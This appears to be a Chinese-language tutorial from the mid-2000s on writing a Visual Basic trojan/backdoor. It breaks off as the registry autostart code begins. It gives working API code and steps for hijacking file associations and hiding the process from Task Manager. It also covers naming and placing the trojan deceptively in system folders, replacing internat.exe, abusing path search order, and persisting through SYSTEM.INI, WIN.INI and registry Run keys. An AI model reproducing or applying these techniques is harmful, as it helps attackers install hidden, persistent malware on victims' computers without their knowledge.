/***************************************************
小金注:這是我在2003年寫的文章,當(dāng)初想給X檔案精華本投稿的,后來因?yàn)樘L了,土豆要我換寫了那篇《編程實(shí)現(xiàn)瀏覽器控制》,這篇文章就一直擱淺在硬盤上了。到今天(2005-6-5)才想起來,真是對不起大家~~~~>__<~~~~~
OK,言歸正傳,因?yàn)槟甏年P(guān)系,其中的一些例子和思想也許會是錯誤的或者過時(shí)的,希望大家多多包涵,畢竟,已經(jīng)過了幾年了……
****************************************************/
一、開篇廢話一籮筐
VB寫的BackDoor/Trojan似乎是與尷尬同在的,不信?你去各大技術(shù)論壇發(fā)帖問問“小弟想做個(gè)木馬,用什么開發(fā)好???”,大多數(shù)Expert級的建議都是“VC++、C++ Builder、Delphi”,唯獨(dú)把VC++的同門兄弟VB拒之門外。難道VB真的就這么爛?進(jìn)一步問問吧,高手們會給你列舉VB的以下“好處”:
1.必須有MSVBVM60.DLL(VB6.0)、MSVBVM50.DLL(VB5.0)存在,否則VB木馬就只能當(dāng)花瓶了。
2.看看你用了多少個(gè)ActiveX吧——“Can't create Object,refused to run”
3.運(yùn)行時(shí)例外錯誤,突然蹦出個(gè)窗口來告訴馬場主:“嘿,我是VB寫的木馬,我崩潰了,啦啦啦:P”
4.超級不穩(wěn)定,不知道什么時(shí)候就掛了。
5.體積龐大……
以上的確是在說實(shí)話……由于VB編寫的程序有很多致命弱點(diǎn),所以“聰明人”的首選當(dāng)然是VC++、Delphi,但這并不能說VB就是窮途末路,記住,程序?qū)懙迷趺礃?,看的是編寫者的水平,而不是看他用什么語言!
開動你的腦筋,做最周到的考慮,盡最精細(xì)的分析,就讓VB木馬也瘋狂一回!
二、忍住ActiveX的誘惑——純API編程
最基本的重點(diǎn)!別把后門技術(shù)與一般編程混為一談,平時(shí)寫程序喜歡掛多少個(gè)ActiveX隨便你,但是在這里不可以!要想VB木馬能四處撒歡,就必須先把VB程序無形的束縛——ActiveX技術(shù)拋掉,否則它就如一條韁繩,把你費(fèi)盡苦心“拼裝”出來的木馬給牢牢的拴在你家里——難道你還想為你的馬駒做個(gè)InstallShield?
拋掉了ActiveX,還有什么?Windows給我們提供了強(qiáng)大的API(Application Programming Interface,應(yīng)用程序編程接口)支持,為什么C代碼這么簡潔?就因?yàn)閃indows環(huán)境的大部分C代碼實(shí)際上是與系統(tǒng)API緊緊結(jié)合的,微軟和第三方開發(fā)商已經(jīng)提前把大量的API調(diào)用聲明寫入頭文件(C++ Header File)了,VC程序員不必自己再寫一大堆函數(shù)聲明,直接用#include把相關(guān)的API聲明的頭文件拉進(jìn)代碼就可以!大家可以找個(gè)簡單的C寫的Exploit代碼來看看頭文件聲明,例如:
====================================================
#include <winsock.h>
WSAStartup(MAKEWORD(1,1),&wsaData);
SockRaw=socket(AF_INET,SOCK_RAW,IPPROTO_ICMP);
====================================================
而在VB里要寫一大堆:
====================================================
Declare Function WSAStartup Lib "Winsock.dll" (ByVal wVR As Integer, lpWSAD As WSADataType) As Integer
Declare Function socket Lib "Winsock.dll" (ByVal af As Integer, ByVal s_type As Integer, ByVal protocol As Integer) As Integer
Const AF_INET = 2
Const SOCK_RAW = 3
Const IPPROTO_ICMP = 1
ret = WSAStartup(&H101, wsadStartupData)
SockRaw = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)
====================================================
對比兩段代碼,看出什么沒有?VC程序員可以用一句#include <winsock.h>就把WSAStartup、socket、AF_INET等API聲明和常數(shù)定義給省略了,而VB程序員就有得苦了。難怪ActiveX可以在VB的天下橫行無忌——偷懶誰不會???
但是我們是在做木馬,要偷懶你就睡覺去吧,要想你的馬駒在別人的馬場里撒歡,就要對ActiveX說“NO”!我們只剩下API,好好發(fā)揮吧!
三、溝通的窗戶——WinSock
首先介紹一下什么是WinSock。
WinSock是在90年代初,為了方便網(wǎng)絡(luò)編程而由Microsoft聯(lián)合幾家公司共同制定的一套WINDOWS下的網(wǎng)絡(luò)編程接口,即Windows Sockets規(guī)范,它不是一種網(wǎng)絡(luò)協(xié)議,而是一套開放的、支持多種協(xié)議的Windows下的網(wǎng)絡(luò)編程接口。Socket實(shí)際在計(jì)算機(jī)中提供了一個(gè)通信端口,可以通過這個(gè)端口與任何一個(gè)具有Socket接口的計(jì)算機(jī)通信。應(yīng)用程序在網(wǎng)絡(luò)上傳輸,接收的信息都通過這個(gè)Socket接口來實(shí)現(xiàn)。Socket也稱為“套接字”。Windows下的大部分語言都支持WinSock,VB也不例外。
只不過,用VB+API寫WinSock是件很不爽的事,太多的API調(diào)用和常數(shù)定義,一個(gè)套一個(gè),寫得頭昏眼花,如果你懶得(或者沒辦法)寫出一個(gè)完整的WinSock架構(gòu),那么我建議你去www.allapi.net下載KPD-Team做好的WinSock API Function Calls For VB再看下文。(文章附源代碼)
以前看到一些介紹“VB木馬制作”的文章,大言不慚的使用了Microsoft WinSock Control 6.0(MSWINSCK.OCX)來做WinSock核心部件,這樣做當(dāng)然可以省去許多功夫,但是別忘了這是ActiveX!那些文章?;2锁B可以,要想實(shí)際應(yīng)用,做夢!既然已經(jīng)把代碼限制在API領(lǐng)域里,就要自己動手。
如果你以前習(xí)慣了使用Microsoft WinSock Control 6.0來拼裝網(wǎng)絡(luò)應(yīng)用程序,就要把那種簡潔忘掉,否則你會很痛苦的,因?yàn)閃inSock API不同于WinSock ActiveX,它們之間有很多差別:
1.WinSock ActiveX(WSAX)給程序員提供了一個(gè)很方便的接收事件DataArrival,在里面用GetData方法就能獲取數(shù)據(jù),在WinSock API(WSAP)里,這個(gè)想法只能是美好的。
2.WSAX想什么時(shí)候收發(fā)數(shù)據(jù)都可以,WSAP要求你老老實(shí)實(shí)先WSAStartup,填充sockaddr結(jié)構(gòu)(sin_family、sin_port、sin_addr、sin_zero),connect后再send或者直接sendto出去,然后下面的recv馬上進(jìn)入戒備狀態(tài)接收返回的數(shù)據(jù),最后別忘了closesocket還有WSACleanup。
3.WSAX把WinSock架構(gòu)理想化了,每個(gè)事件都能做到看似分離實(shí)際整合(DataArrival、SendProgress、Error、Close等),而在WSAP編程里,你只能無奈的看著幾個(gè)對應(yīng)WSAX不同事件的API擠作一團(tuán),而且只能在一個(gè)過程里做完所有工作——WSAP只給你在一個(gè)過程里處理接收、回應(yīng)和操作事件。如果你習(xí)慣在WSAX里幾個(gè)不同的事件里寫不同作用的代碼,那么在WSAP里,你會發(fā)現(xiàn)完成相同作用的代碼基本上都被擠在一個(gè)WinSock的recv/send處理過程里,也許你會說,建立一個(gè)異步模式的接收過程,但是這樣的效率仍然比WSAX低。
4.WSAP比WSAX容易崩潰,舉個(gè)例子,如果你在沒有對套接字進(jìn)行特殊處理(例如select設(shè)置異步模式)的情況下直接讓W(xué)SAP試圖connect一個(gè)無法連接的服務(wù)器,你的整個(gè)程序都會被掛起,直到connect返回INVALID_SOCKET——弄不好就是永久的掛起,崩潰了;而WSAX則輕松的返回一個(gè)INVALID_SOCKET。
5.最大一個(gè)問題:WSAP的聲明和調(diào)用都太復(fù)雜了!如果你對WinSock API很了解,你可以寫一個(gè)和WinSock設(shè)置有關(guān)的全局類模塊,配合API使用,但這些并不能很好的解決WSAP繁瑣復(fù)雜的問題。有興趣的可以研究一下我在一個(gè)外國專業(yè)編程網(wǎng)站搜集到的VB代碼WinsockTestBench。(隨文章附上)
在VB里用API寫WinSock雖然很令人頭痛,但是我們不得不忍受,為了制造馬駒。而且,編寫WinSock API會讓你學(xué)到很多。
木馬程序里,WinSock部分占有很重要的地位,程序操作基本上都處于WinSock傳輸?shù)臄?shù)據(jù)控制下,所以寫木馬的第一步最好先完成一個(gè)能正常進(jìn)行通訊的WinSock框架,這不是壞習(xí)慣。
四、協(xié)議,端口
接下來,就要思考清楚后門的報(bào)文協(xié)議,是TCP、UDP還是ICMP?開什么端口?這些都要想清楚,否則代碼寫復(fù)雜的時(shí)候要改就是一項(xiàng)很大的工程了。大多數(shù)木馬是基于TCP協(xié)議+高位端口的,UDP協(xié)議不能很好的保證傳輸質(zhì)量而且容易被偽造,一般不推薦使用。TCP和UDP都要開端口,并不代表UDP就能更好隱蔽端口的。新型的木馬采用ICMP/IP頭部信息來實(shí)現(xiàn)傳輸,做到了更高的隱蔽性,因?yàn)镮CMP是由系統(tǒng)核心處理的,而且比TCP/UDP協(xié)議的層次更低些,不需要開端口,除非對方禁止了ICMP,否則這種后門可以在防火墻眼皮底下穿行;基于IP頭部的傳輸模式在Win9x/Me系統(tǒng)上應(yīng)該無法實(shí)現(xiàn)了,這些非NT架構(gòu)的系統(tǒng)不支持IP_HDRINCL,用戶不能自己填充IP頭部數(shù)據(jù)。很少人會留意這些零碎的IP數(shù)據(jù)包是否正在傳遞信息,不過就是不如直接TCP傳輸?shù)檬娣褪橇?,因?yàn)镮P報(bào)文的頭部空域很有限,并不是你想添加多少就添加多少的。用IP報(bào)文尾部發(fā)送數(shù)據(jù)?你不如直接用TCP/UDP發(fā)送好了……
五、當(dāng)錯誤發(fā)生的時(shí)候
VB程序其實(shí)很脆弱,當(dāng)一些不可預(yù)料的錯誤(例如溢出、文件讀寫失敗等)發(fā)生時(shí),它們會很委屈的彈出提示信息,設(shè)想一下你的木馬在讀取文件時(shí)突然遇到磁盤壞道,它就會彈出信息暴露自己了。所以,VB木馬作者們必須認(rèn)真對待VB的錯誤處理機(jī)制,為程序設(shè)置錯誤陷阱,做到最大的安全性。
錯誤陷阱必須設(shè)置在每個(gè)過程的第一行里,記住這兩個(gè)常用的錯誤處理語句:On Error Resume Next、On Error GoTo [Flag]。
1.On Error Resume Next
它讓VB程序遇到例外錯誤時(shí)直接執(zhí)行下一句代碼,例如這句代碼存在風(fēng)險(xiǎn):
Open "c:\scandisk.log" For Input As #1
這句代碼本身并沒有什么錯誤,但是它帶來了產(chǎn)生致命錯誤的風(fēng)險(xiǎn):C盤根目錄下的scandisk.log文件不存在時(shí),程序就崩潰了。如果我們給這個(gè)語句加入錯誤陷阱,告訴它無論遇到什么情況都別出聲,就可以把風(fēng)險(xiǎn)降到最低:)
On Error Resume Next
Open "c:\scandisk." For Input As #1
'經(jīng)過這樣的處理,這個(gè)語句永遠(yuǎn)不會彈出錯誤信息:)
2.On Error GoTo [Flag]
雖然On Error Resume Next能降低風(fēng)險(xiǎn),但是它并不是萬能的,一些嚴(yán)重錯誤如溢出、死循環(huán)用On Error Resume Next只會讓程序越陷越深??紤]周全一些,在一些危險(xiǎn)代碼里使用On Error GoTo [Flag],它至少能讓程序跳出掙扎的泥潭:
=========================================================
On Error GoTo ErrProcess
Set vDoc = webMain.Document
For j = 0 To vDoc.All.length - 1
Set vTag = vDoc.All(j)
If UCase(vTag.tagName) = "A" Then
tmpUser = vTag.innertext
tmpUser = Replace(tmpUser, "[所有人]", "所有人")
If InStr(tmpUser, "在線列表") <> 0 Then tmpUser = ""
If InStr(tmpUser, "本室") <> 0 Then tmpUser = ""
If tmpUser = "所有人" Then tmpUser = ""
If tmpUser <> "" Then
ConnectedUser(i) = tmpUser
i = i + 1
UserCount = UserCount + 1
Else
End If
Else
End If
Next j
Exit Sub
ErrProcess:
Exit Sub
=========================================================
在上面的代碼里,由于Resume Next會讓程序忽略錯誤,用變量的初始值去進(jìn)行計(jì)算處理,因此當(dāng)vDoc=Null時(shí),vDoc.All=0,程序會在下面的Next循環(huán)里死掉,因?yàn)槲覀儚?qiáng)制了程序的錯誤處理為“忽略錯誤并執(zhí)行下一個(gè)語句”,要讓程序跳出這個(gè)死循環(huán),唯有設(shè)置一個(gè)Flag,讓程序跳過一大堆可能會造成致命錯誤的語句,直接Exit Sub。
但是也不要大量的使用On Error GoTo錯誤陷阱,它不僅繁瑣,而且讓你的代碼跳來跳去,非常不結(jié)構(gòu)。
綜上所述,On Error Resume Next和On Error GoTo [Flag]任何一方都不是萬能鑰匙,不要一統(tǒng)天下都是On Error Resume Next或On Error GoTo [Flag],唯有根據(jù)不同情況配合使用不同錯誤處理語句,才能最大限度確保程序安全。
六、整齊的,才是最好的
沒有人喜歡零散,寫程序也一樣,零散的代碼讓程序變得難讀難修改,時(shí)間久了連你自己都不知道某個(gè)語句為什么在那里,起什么作用了;而且代碼零散還會降低程序運(yùn)行效率,增加不必要的重復(fù)代碼,增大了程序的體積。
例如一個(gè)用于判斷文件是否存在的代碼:
=========================================================
Dim FileExists As Boolean
Open FileName For Input As #1
If Err = 0 Then
FileExist = True
Else
FileExist = False
End If
=========================================================
如果你要判斷多個(gè)文件是否存在,就必須把上面的代碼重復(fù)多次,自己累不算,程序也變得臃腫。
VB給我們提供了模塊,利用模塊的全局屬性,我們可以把一些重復(fù)的代碼寫成全局函數(shù),方便了自己也減少了程序的開銷:
=========================================================
Function FileExist(FileName As String) As Boolean
On Error Resume Next '別忘了錯誤陷阱
Dim FileNum As Integer
FileNum = FreeFile()
Open FileName For Input As #FileNum
If Err = 0 Then
FileExist = True
Else
FileExist = False
End If
Close #FileNum
End Function
=========================================================
在全局模塊里聲明了這個(gè)函數(shù)(別用Private前綴聲明)后,我們就可以方便的在程序任何角落用FileExists("文件名")來判斷了,而且把程序代碼模塊化也提高了代碼可讀性。
所以,為了程序更好執(zhí)行,請盡量把代碼模塊化。
附:給出幾個(gè)實(shí)用的模塊化代碼
=========================================================
'判斷文件是否存在
Function FileExist(FileName As String) As Boolean
On Error Resume Next
Dim FileNum As Integer
FileNum = FreeFile()
Open FileName For Input As #FileNum
If Err = 0 Then
FileExist = True
Else
FileExist = False
End If
Close #FileNum
End Function
'獲取程序本身所在的目錄(返回的字符以“\”結(jié)尾)
Function Path() As String
If Len(App.Path) <= 3 Then
Path = App.Path
Else
Path = App.Path & "\"
End If
End Function
'獲取系統(tǒng)目錄(SYSTEM)路徑
Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Function SysPath() As String
SysPath = String(145, Chr(0))
SysPath = Left(SysPath, GetSystemDirectory(SysPath, 145)) & "\"
End Function
'獲取Window路徑(WINDOWS系統(tǒng)目錄)
Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Function WinPath() As String
WinPath = String(145, Chr(0))
WinPath = Left(WinPath, GetWindowsDirectory(WinPath, 145)) & "\"
End Function
'字符串替換(使用方法:輸出=ModifyString(欲處理的字符串,原字符,替換字符),例如 strOut=ModifyString(strSource,"hello","你好"),表示把strSource變量里的“hello”替換為“你好”)
Public Function ModifyString(strModString As String, strSrc As String, sgnModify As Variant)
On Error Resume Next
If strSrc <> sgnModify Then
While InStr(strModString, strSrc) <> 0
strModString = Left(strModString, InStr(strModString, strSrc) - 1) & sgnModify & Mid(strModString, InStr(strModString, strSrc) + Len(strSrc))
Wend
End If
ModifyString = strModString
End Function
=========================================================
七、Win9x?Win2000?
由于Windows的兩個(gè)不同架構(gòu)(Win9x、WinNT),導(dǎo)致了環(huán)境的差異,更雪上加霜的是MS在兩個(gè)架構(gòu)的系統(tǒng)里提供了某些會引發(fā)兼容問題的API,例如RegisterServiceProcess這個(gè)用于注冊系統(tǒng)服務(wù)的API,在9x環(huán)境里正常,在NT里則變成“找不到DLL入口”——NT架構(gòu)的系統(tǒng)服務(wù)概念和9x不同。又如涉及網(wǎng)絡(luò)操作的一些API,9x里休想找到它們的影子。當(dāng)你的程序調(diào)用了這些無法訪問的API,立即就會崩潰,而且死之前還會老實(shí)的彈出對話框暴露自己,落得個(gè)連誅九族……
當(dāng)然,還有一個(gè)更重要的問題,那就是NT架構(gòu)才有的NT服務(wù)(NT-Service),在下文會介紹。
因?yàn)橛羞@些環(huán)境差異,我們不得不根據(jù)不同的環(huán)境設(shè)置不同的路標(biāo),這就需要判斷系統(tǒng)類型了。Windows也有自知之明,給我們提供了GetVersionEx這個(gè)API。
=========================================================
Type OSVERSIONINFO
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion(1 To 128) As Byte
End Type
Public Const VER_PLATFORM_WIN32_NT = 2&
Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (lpVersionInformation As OSVERSIONINFO) As Long
Function CheckIsNT() As Boolean
Dim OSVer As OSVERSIONINFO
OSVer.dwOSVersionInfoSize = LenB(OSVer)
GetVersionEx OSVer
CheckIsNT = OSVer.dwPlatformId = VER_PLATFORM_WIN32_NT
End Function
=========================================================
如果CheckIsNT函數(shù)返回True,那就是NT/2000/XP沒錯了,接下來你應(yīng)該知道如何對付Windows了吧。
八、我的馬兒安家在哪里?
把木馬放在哪里能做到最大的隱蔽性是個(gè)難以肯定的答案,但是有一點(diǎn)可以直說!別自作聰明自己建立目錄放木馬,也別選敏感目錄如Recycled、My Documents、TEMP、Local Settings、Fonts、Inf等,這些目錄可以騙騙初學(xué)者,但是連中級水平的用戶都能感覺到不對勁。我個(gè)人認(rèn)為可以放在一些重要目錄里,把文件名起得專業(yè)一點(diǎn),例如WINDOWS/WINNT、SYSTEM/SYSTEM32、JAVA(最好文件名里也有個(gè)JAVA)、Config、Program Files\Common Files\SYSTEM等特殊目錄,這樣至少連中上水平的用戶也要確認(rèn)半天,當(dāng)然有一半成功率還要看看你會不會起文件名,可以在Windows本身的一些重要或者不常被人注意的文件名上打主意,例如原來有個(gè)mmtask.tsk那就來個(gè)mmtask.exe、有wupdmgr.exe就發(fā)展個(gè)wupdmgr32.exe等,這些文件名起的迷惑性比一般的文件名大得多。當(dāng)然你就不要起Notepad32.exe、scanregw32.exe、scandskw32.exe這種常用程序的“32bit 克隆”名字了,只要不是非典型的用戶,70%都會懷疑的……
九、喧賓奪主——更改并聯(lián)
Windows下的文件并聯(lián)無處不在,所以這里是個(gè)很好的市場哦。目前許多常見的木馬都用了這個(gè)手法,讓用戶在不知不覺中反復(fù)執(zhí)行木馬程序,導(dǎo)致屢殺不盡!
其實(shí)在VB里,這個(gè)功能非常容易實(shí)現(xiàn):
=========================================================
'文件并聯(lián)的代碼
'Author:小金(LK007) www.s8s8.net lk007@163.com
'使用方法:SetFileAssociate 文件類型, 類型說明, 文件后綴
'例如:SetFileAssociate "txtfile", "文本文件", ".txt"
'/////////////////////////////////////////////////////////////
Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkresult As Long) As Long
Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Public Const HKEY_CLASSES_ROOT = &H80000000
Public Const REG_SZ = 1
Sub SetFileAssociate(sKeyName As String, sKeyValue As String, sFileAssoc As String)
On Error Resume Next
Dim ret As Long
Dim lphKey As Long
Dim sFileExec As String
sFileExec = App.Path & App.EXEName & ".exe " & """%1""" '注意是".exe "不是".exe"
ret = RegCreateKey(HKEY_CLASSES_ROOT, sKeyName, lphKey)
ret = RegSetValue(lphKey, "", REG_SZ, sKeyValue, 0&)
ret = RegCreateKey(HKEY_CLASSES_ROOT, sFileAssoc, lphKey)
ret = RegSetValue(lphKey, "", REG_SZ, sKeyName, 0&)
ret = RegCreateKey(HKEY_CLASSES_ROOT, sKeyName, lphKey)
ret = RegSetValue(lphKey, "DefaultIcon", REG_SZ, "%1", 2)
ret = RegCreateKey(HKEY_CLASSES_ROOT, sKeyName, lphKey)
ret = RegSetValue(lphKey, "shell\open\command", REG_SZ, sFileExec, Len(sFileExec))
ret = RegCloseKey(lphKey)
End Sub
=========================================================
注意,經(jīng)過這樣修改后,文件就必須由你的程序來負(fù)責(zé)處理了,我們需要在Form_Load或Main里加入下面給出的“文件打開方式重定向”代碼,否則就弄巧成拙了,注意這段代碼中的文件后綴判斷語句。
=========================================================
'在Form_Load或Main加入 (以TXT并聯(lián)為例)
On Error Resume Next
Dim CommandLine As String
CommandLine = Trim$(Command$)
If CommandLine <> "" Then
If InStr(CommandLine,".txt") <> 0 Then Shell("notepad.exe " & CommandLine
Else
End If
=========================================================
這個(gè)方法的破綻:細(xì)心的用戶會注意到,被更改了并聯(lián)的文件類型打開速度變慢了,這是因?yàn)閂B代碼的執(zhí)行效率比較低,而且Shell又消耗了一些額外時(shí)間,沒有優(yōu)化的方法。我們只能祈禱馬場主是個(gè)超級馬大哈……
十、隱藏進(jìn)程
在Windows中按ALT+DEL+CTRL會出現(xiàn)任務(wù)管理器,一切普通進(jìn)程都能在里面看到,這樣也會暴露我們的后門程序,因此必須給它來個(gè)障眼法。Win9x/Me提供了一個(gè)API——RegisterServiceProcess,它的作用是把一個(gè)進(jìn)程提升為“系統(tǒng)服務(wù)”,這樣的進(jìn)程在任務(wù)管理器里不可見。Win2000/XP里沒有提供這個(gè)API,因?yàn)閮煞N系統(tǒng)架構(gòu)不同,“服務(wù)”的概念也不同,在NT架構(gòu)里,使用一種稱為“NT-Service”的技術(shù)來區(qū)分一般進(jìn)程和服務(wù)程序,在第5期有文章介紹,這里也不細(xì)說了,NT-Service部分資料請看第十一小節(jié)。
VB代碼如下,它很簡單,用GetCurrentProcessId獲取自身進(jìn)程標(biāo)識后調(diào)用RegisterServiceProcess轉(zhuǎn)型為系統(tǒng)服務(wù):
=========================================================
Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
Sub MakeAsService()
Dim pid As Long
pid = GetCurrentProcessId()
RegisterServiceProcess pid, 1
End Sub
=========================================================
除了注冊為系統(tǒng)服務(wù),還有個(gè)更簡單的方法是把程序的任務(wù)標(biāo)題改為系統(tǒng)進(jìn)程的名字,如Rundll32、mmtask、Rnaapp、WinOldApp等,如果你實(shí)在夠懶,可以試試看……
十一、啟動模式
要想木馬能隨時(shí)為你服務(wù),就必須讓它自己跟隨系統(tǒng)啟動,除了木馬啟動禁地——開始菜單的“啟動”組不在考慮范圍,我們還有幾個(gè)方法讓它自己爬起來。
1.Windows下的啟動——替換程序篇
如果你認(rèn)為躲躲藏藏不如反客為主來得豪氣些的話,可以用這招,把Windows自身的一些非重要而又跟隨系統(tǒng)啟動的程序換掉。
不知道為什么,Windows用于切換輸入法的程序internat.exe成為了這種行為的最大受害者,那么我就用它來舉例說明一下這種方法的詳細(xì)操作,替換其他程序的方法也差不多。
(1).木馬程序查找并殺掉internat.exe進(jìn)程;
(2).用Name函數(shù)把原來的internat.exe改名,必要時(shí)用FileCopy把internat.exe改名復(fù)制到另外目錄(深層目錄比較好);
(3).把自身復(fù)制到internat.exe所在的目錄,名稱為internat.exe;
(4).程序的初始化代碼段必須加上一句Shell函數(shù)用以啟動原來的internat.exe:Shell [被改名的internat.exe],vbNormalNoFocus。
2.目錄遍歷
Windows在目錄遍歷時(shí)依據(jù)從外到里的方式,如果用戶未指定一個(gè)程序的路徑信息,Windows會按照從系統(tǒng)盤根目錄到系統(tǒng)目錄的順序?qū)ふ椅募?。例如在開始菜單的運(yùn)行里輸入msconfig,Windows在后臺的操作是:
1.定位到系統(tǒng)盤根目錄(如C:\),檢查文件是否存在
2.如果在根目錄沒有發(fā)現(xiàn)文件,Windows根據(jù)環(huán)境變量信息進(jìn)入系統(tǒng)目錄查找
3.如果在系統(tǒng)目錄里找不到,則進(jìn)入更深一層的重要目錄(SYSTEM目錄)查找
4.如果找到文件,則執(zhí)行它,查找過程結(jié)束。如果遍歷Windows認(rèn)得出的所有目錄(由注冊表的環(huán)境變量決定)仍然找不到文件,就返回“找不到文件%s”
這些步驟可以用一個(gè)循環(huán)來表達(dá):
===================================================
For i=0 To (Environment.count-1)
If FileExists(Environment.Path(i)) Then
Found = 1
Shell(Environment.Path(i) & RunFile,vbNormalFocus)
Exit For
Else
End If
Next
If Found = 0 Then MsgBox "找不到文件" & RunFile
===================================================
其中的Environment.Path(i)可能包含這些路徑信息,注意看數(shù)組序號和路徑的關(guān)系:
Environment.Path(0) = "C:"
Environment.Path(1) = "C:\WINDOWS" Or "C:\WINNT"
Environment.Path(2) = "C:\WINDOWS\SYSTEM" Or "C:\WINNT\SYSTEM32"
根據(jù)Windows目錄遍歷的特點(diǎn),我們可以把木馬程序文件名改為某個(gè)默認(rèn)隨系統(tǒng)啟動而且沒有指明詳細(xì)路徑信息的程序,并把自身放在原程序所在的“上一層”目錄,例如C:\WINDOWS是C:\WINDOWS\SYSTEM的上一層目錄。這樣,Windows就會把木馬程序啟動,而忽略了“深閨處”的原程序,所以我們的木馬程序必須在啟動時(shí)好心替Windows執(zhí)行一下被忽略的原程序。
目前比較容易被忽略的程序有:inetnat.exe、 SysTray.exe、 taskmon.exe 等。
如果一個(gè)默認(rèn)自啟動的程序已經(jīng)設(shè)置了路徑信息,是否就意味著我們必須放棄?不一定,別忘了可以修改注冊表,把詳細(xì)路徑字符串去掉。詳細(xì)請看第4小節(jié),把sApplication變量設(shè)置為不帶任何路徑信息的單獨(dú)文件名即可。
3.Win9x/Me下的啟動——INI篇
INI(配置文件)是一種特殊格式的文本文件,它主要用于保存程序的配置信息,這里就不做詳細(xì)介紹了。WIN.INI和SYSTEM.INI是從Win3.1遺留下來的產(chǎn)物,Win9x/Me仍然比較完整的保留了,而2000/XP則有改動。
INI文件由一個(gè)或多個(gè)部分(section)組成,每個(gè)section下面存在多個(gè)關(guān)鍵字(Keyword)和值(Value),它們共同負(fù)責(zé)配置一個(gè)程序的環(huán)境,表現(xiàn)形式如下:
===================================================
[section1]
keyword1=valuel
keyword2=value2
...............
[section2]
keyword1=value1
keyword2=value2
...............
===================================================
打開WIN.INI和SYSTEM.INI,會看到最前面的開頭部分有這些字符串:
===================================================
SYSTEM.INI:
[boot]
shell=Explorer.exe
system.drv=system.drv
drivers=mmsystem.dll power.drv
user.exe=user.exe
WIN.INI:
[windows]
load=
NullPort=None
DefaultQueueSize=32
===================================================
注意看[boot]的shell關(guān)鍵字和[windows]的load關(guān)鍵字,這里就是Windows的自啟動程序加載的信息,也給木馬留了個(gè)大門。[boot]的shell用于加載GUI外殼程序,如果這里的值被亂改了,你將看不到下次啟動的桌面;[windows]的load在剛顯示GUI界面的時(shí)候執(zhí)行程序。所以執(zhí)行程序優(yōu)先順序?yàn)椋篬windows]load ---> [boot]shell
而這兩個(gè)關(guān)鍵字允許用戶添加多個(gè)用空格分開的值,這是個(gè)很好利用的要處,為什么這樣說呢?如果它們只支持一個(gè)值,那么我們就不能打[boot]shell的主意,因?yàn)樘鎿Q掉外殼程序的加載值后,Windows就玩完了,但是,既然它支持多個(gè)值,我們就可以讓W(xué)indows加載外殼的時(shí)候順便也啟動我們的后門。
例如,把木馬程序MyApp.exe加入shell,正確的表達(dá)式必須是 shell=Explorer.exe MyApp.exe 而不是 shell=MyApp.exe
在VB里用下列代碼完成一個(gè)完整的讀寫INI操作:
===================================================
'Code by www.s8s8.net LK007
'------------------------------------------------
Declare Function GetPrivateProfileInt Lib "kernel32" Alias "GetPrivateProfileIntA" (ByVal lpApplicationName As String, ByVal lpKeyName As String, ByVal nDefault As Long, ByVal lpFileName As String) As Long
Declare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long
Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long
Function WriteString(IniFileName As String, Section As String, key As String, Value As String) As Boolean
WriteString = False
If WritePrivateProfileString(Section, key, Value, IniFileName) = 0 Then Exit Function
WriteString = True
End Function
Function ReadString(IniFileName As String, Section As String, key As String) As String
Dim ReturnStr As String
Dim ReturnLng As Long
ReturnStr = Space(255)
ReturnLng = GetPrivateProfileString(Section, key, vbNullString, ReturnStr, 255, IniFileName)
ReadString = Trim$(Left$(ReturnStr, ReturnLng))
End Function
===================================================
可以直接用WriteString(WinPath & "system.ini", "boot", "Shell", "Explorer.exe " & App.EXEName & ".exe")和WriteString(WinPath & "win.ini", "windows", "load", App.EXEName & ".exe")來寫入SYSTEM.INI和WIN.INI,注意這兩個(gè)文件均在Windows根目錄下。寫入SYSTEM.INI時(shí)一定要記得別遺漏了原來的外殼程序。WriteString函數(shù)返回一個(gè)表示寫入是否成功的布爾值。
為了更準(zhǔn)確的判斷程序是否已經(jīng)添加數(shù)據(jù)了,我們最好讀取剛寫入的INI來確認(rèn):ReadString(WinPath & "system.ini", "boot", "Shell")和ReadString(WinPath & "win.ini", "windows", "boot"),返回的字符串里如果帶有你的木馬程序名,恭喜你,成功了。
4.Windows下的啟動——注冊表篇
注冊表是Windows的重要組成部分,它不僅包含了齊全的軟硬件信息、配置數(shù)據(jù),也提供了自啟動程序的入口,所以這里也是大多數(shù)木馬喜歡依靠的地方。關(guān)于注冊表的構(gòu)成和詳細(xì)資料,請大家自己另找資料,這里不做介紹。
一般木馬主要集中在下列幾處:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
全局的啟動項(xiàng),此主鍵下的值在Shell加載完成(桌面圖標(biāo)顯示、任務(wù)欄出現(xiàn))后執(zhí)行。
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
全局的啟動項(xiàng),此主鍵下的值在GUI初始化完成(Windows桌面剛出現(xiàn),Shell未加載)時(shí)執(zhí)行。Win2000/XP里沒有此主鍵。
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
僅在當(dāng)前用戶登錄后,Shell加載完成時(shí)執(zhí)行。
下面給出代碼:
===================================================
'自啟動
